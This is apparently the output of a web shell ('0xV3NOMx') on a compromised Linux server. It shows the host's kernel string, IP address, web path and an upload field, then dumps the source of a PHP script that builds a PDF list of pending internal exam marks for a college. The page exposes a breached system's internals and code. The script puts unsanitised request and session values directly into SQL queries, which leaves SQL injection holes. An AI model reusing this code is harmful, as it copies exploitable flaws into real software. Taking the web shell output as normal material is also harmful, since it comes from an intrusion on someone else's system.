0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.164.100


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/CIEpendingListpdf.php

<?php
function generteCIEpendListReport($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 
    $degree_string = json_decode($aobj_context->mobj_data["degree"]);
    $event_string = json_decode($aobj_context->mobj_data["subjectt"]);
   
	$semesterr = $aobj_context->mobj_data["semesterr"]; 
   

    $degree_with_quotes = array_map(function($item) {
        return "'$item'";
    }, $degree_string);
    
    $degree_code=  implode(',', $degree_with_quotes);
   
    // $degreehead = '[' . implode(',', $degree_string) . ']';
    $eventhead = '[' . implode(',', $event_string) . ']';
        
        $event_with_quotes = array_map(function($item) {
            return "'$item'";
        }, $event_string);
        $event= '(' . implode(',', $event_with_quotes) . ')';
    
    
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";	
	$root_pdf_file_download=$_SERVER["DOCUMENT_ROOT"]."/".$main_src."/Report_details/output/report_general_list.pdf";
    // global varibales
	$p_count =1;
    // end global varibales	
	include($pdf_writer_class);		
	$pdf= new FPDF();
	//$pdf->$title='20000 Leagues Under the Seas';
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(10,10);		
	$pdf->AliasNbPages();	

	$canddettmp = "canddet";
	$candsumttmp = "candsum"; 
	$degreetmp = "degree";
	$subjecttmp = "subject";

    // query for the page header	
	$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	$page_header_college ="select concat('[',FCOLLCODE,']  ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
	$lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); 
    $pdf->aobj_context =$aobj_context ;
	$pdf->WhichReport = 'CIE_PENDING_LIST';
    $previous_degree = null;

    if($degree_code === "'All'"){
        $cond = "";
    }else{
       $cond =  "and FDEGREE in ({$degree_code})";
    }
    $page_header_degree = "select FDEGREE, concat(FDEGREE,' - [',FDESCPN,']') as Degree_name, 
                                concat(fexamno,' (  ',FEXAMNAME,'  ) ') as Exam, FADYEAR  
                                from degree where FEXAMNO='{$semesterr}' {$cond} ";
                                
        $lobj_page_header_degree = $aobj_context->mobj_db->GetAll($page_header_degree);

    foreach ($lobj_page_header_degree as $degree_code) {

        $degreename = $degree_code['Degree_name'];
        $semname = $degree_code['Exam'];

        $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME'];
        $pdf->FTOWN = $lobj_page_header_university['FTOWN'];
        $pdf->date_1 = $lobj_page_header_university['date'];
        $pdf->college_name = $lobj_page_header_college['college_name'];
        $pdf->Degree_name = $degreename;
        $pdf->Exam = $semname;

        $fullString = $degreename;
        
         $parts = explode('-', $fullString);
         $degreeCode = trim($parts[0]);

	    // $pdf->event = $eventhead;
    
    if($degree_code=="All"){
        $degree="m.fdegree BETWEEN '0' AND 'Z'"; 
    }else{
        $degree=""; 
    }
    if($event=="('All')"){
        $events="s2.fsubname BETWEEN '0' AND 'Z'"; 
    }else{
        $events="s2.fsubname IN {$event}"; 
    } 
	
    $query = "SELECT a.fteachcode,t.fteachname,c.fclassname, m.fdegree,m.fexamno,
    s.fsubname AS subanme,
    s2.fsubname AS subshort,COUNT(DISTINCT m.fregno) AS cnt
    FROM marksint m,subject s,student s1,subdet s2, attendsum a,masteach t,attclass c
    WHERE m.fdegree='{$degree_code['FDEGREE']}' AND m.fdegree=s.fdegree AND m.fexamno=s.fexamno 
    AND LEFT(m.fsubcode,5)=s.fcsubcode AND m.fdegree=s2.fdegree 
    AND a.fteachcode = t.fteachcode AND c.fclassid = a.fclassid
    AND a.fregno = m.fregno AND a.fdegree = m.fdegree AND a.fexamno = m.fexamno 
    AND LEFT(a.fsubcode,4) = LEFT(m.fsubcode,4)
    AND IFNULL(m.fmarks,'')='' AND a.fregno = s1.fregno
    AND a.fdegree = s1.fdegree AND LEFT(s2.fcsubcode,4) = LEFT(a.fsubcode,4) 
    AND a.fdegree = s2.fdegree AND a.fexamno = s2.fexamno
    AND $events AND m.fexamno='{$semesterr}'
    AND m.fregno = s1.fregno AND m.fdegree = s1.fdegree 
    AND m.fsubcode = CONCAT(s2.fcsubcode,s2.fsubcode)
    AND m.fexamno=s2.fexamno AND LEFT(m.fsubcode,5)=s2.fcsubcode  
    GROUP BY a.fteachcode,t.fteachname,c.fclassname, m.fdegree,m.fexamno,m.fsubcode
    ORDER BY s2.fsubcode,m.fdegree,a.fteachcode,s2.fcsubcode;";
        
$result = $aobj_context->mobj_db->GetAll($query);
if(count($result)>0 ){
	$pdf->AddPage("L");	
}
    $pdf->SetFont('Times','',9);    
	
	$i = 1;
    $iHeight = 5; 
			
    $index= 10;
    $maxFteachcode = 20; 
    $maxFteachname = 40; 
    $maxFclassname = 80; 
    $maxFdegree = 20; 
    $maxFexamno = 10; 
    $maxSubanme = 70; 
    $maxSubshort = 20; 
    $maxCnt = 15; 

        foreach($result as $key=>$value){
    
    
            $fteachcode = $value['fteachcode'];
            $fteachname = $value['fteachname'];
            $fclassname = $value['fclassname'];
            $fdegree = $value['fdegree'];
            $fexamno = $value['fexamno'];
            $subanme = $value['subanme'];
            $subshort = $value['subshort'];
            $cnt = $value['cnt'];
        
            // if ($pdf->GetStringWidth($content) > $maxWidth) {
            //     $splitContent = str_split($content, 30); 
            //     $secondPart = false; 
            //     $subjects=$splitContent[1];
            //     $pdf->Cell(80, 5, $splitContent[0], 'LRT', 0, 'L');    
            // } else {
            //     $pdf->Cell($maxWidth, 5, $content, 'LRT', 0, 'L');
            // }
                
            $indexfrst=$pdf->Cell($index,$iHeight,$i,'LRT',0,'C');
            $pdf->Cell($maxFteachcode, $iHeight, $value['fteachcode'], 'LRT',0,'L');
            $pdf->Cell($maxFteachname, $iHeight, $value['fteachname'], 'LRT', 0,'L');
            // $splitContent = str_split($fclassname, 40);
            // $subjects=$splitContent[0];
            // var_dump($subjects);
            
            if ($pdf->GetStringWidth($fclassname) > $maxFclassname) {
                $splitContent = str_split($fclassname, 40);
                $secondPart = false; 
                $subjects=$splitContent[1];
                $pdf->Cell($maxFclassname, $iHeight, $splitContent[0], 'LRT', 0, 'L');    
            } else {
            $pdf->Cell($maxFclassname, $iHeight, $value['fclassname'], 'LRT', 'L');
            }
        
            // $pdf->Cell($maxFclassname, $iHeight, $value['fclassname'], 'LRT', 'L');
            $pdf->Cell($maxFdegree, $iHeight, $value['fdegree'], 'LRT', 0,'C');
            $pdf->Cell($maxFexamno, $iHeight, $value['fexamno'], 'LRT', 0,'C');
        
            if ($pdf->GetStringWidth($subanme) > $maxSubanme) {
                $splitsubname = str_split($subanme, 30);
                $subPart = false; 
                $subjname=$splitsubname[1];
                $pdf->Cell($maxSubanme, $iHeight, $splitsubname[0], 'LRT', 0, 'L');    
            } else {
            $pdf->Cell($maxSubanme, $iHeight, $value['subanme'], 'LRT', 0,'L');
            }
        
            $pdf->Cell($maxSubshort, $iHeight, $value['subshort'], 'LRT', 0,'L');
            $pdf->Cell($maxCnt, $iHeight, $value['cnt'], 'LRT', 1,'C');
        
            $indexfrst=$pdf->Cell($index,$iHeight,'','LRB',0,'C');
            $pdf->Cell($maxFteachcode, $iHeight,'', 'LRB',0,'L');
            $pdf->Cell($maxFteachname, $iHeight,'', 'LRB', 0,'L');
        
            if (isset($splitContent[1]) && !$secondPart) {
                $pdf->Cell($maxFclassname, $iHeight, $splitContent[1], 'LRB', 0, 'L');
                $secondPart = true; 
            } else {
                $pdf->Cell($maxFclassname, $iHeight, '', 'LRB', 0, 'L'); 
            }
            $pdf->Cell($maxFdegree, $iHeight,'', 'LRB', 0,'C');
            $pdf->Cell($maxFexamno, $iHeight, '', 'LRB', 0,'C');
        
            if (isset($subjname) && !$subPart) {
                $pdf->Cell($maxSubanme, $iHeight, $subjname, 'LRB', 0, 'L');
                $subPart = true; 
            } else {
                $pdf->Cell($maxSubanme, $iHeight, '', 'LRB', 0,'L');
            }
        
            $pdf->Cell($maxSubshort, $iHeight, '', 'LRB', 0,'L');
            $pdf->Cell($maxCnt, $iHeight,'', 'LRB', 1,'C');
        
                // $pdf->Cell(10,6,$i,'1',0,'C');
                // $pdf->Cell(20,6,$value['fteachcode'],'1',0,'C');
                // $pdf->Cell(40,6,$value['fteachname'],'1',0,'L');
                // $pdf->Cell(80,6,$value['fclassname'],'1',0,'L');
                // $pdf->Cell(20,6,$value['fdegree'],'1',0,'C');
                // $pdf->Cell(10,6,$value['fexamno'],'1',0,'C');
                // $pdf->Cell(70,6,$value['subanme'],'1',0,'L');
                // $pdf->Cell(20,6,$value['subshort'],'1',0,'L');
                // $pdf->Cell(15,6,$value['cnt'],'1',1,'C');		
                $i++;			
    
        };
        
    
    }
   
	$pdf->Output("CIE_Pending_List.pdf","I");

}
?>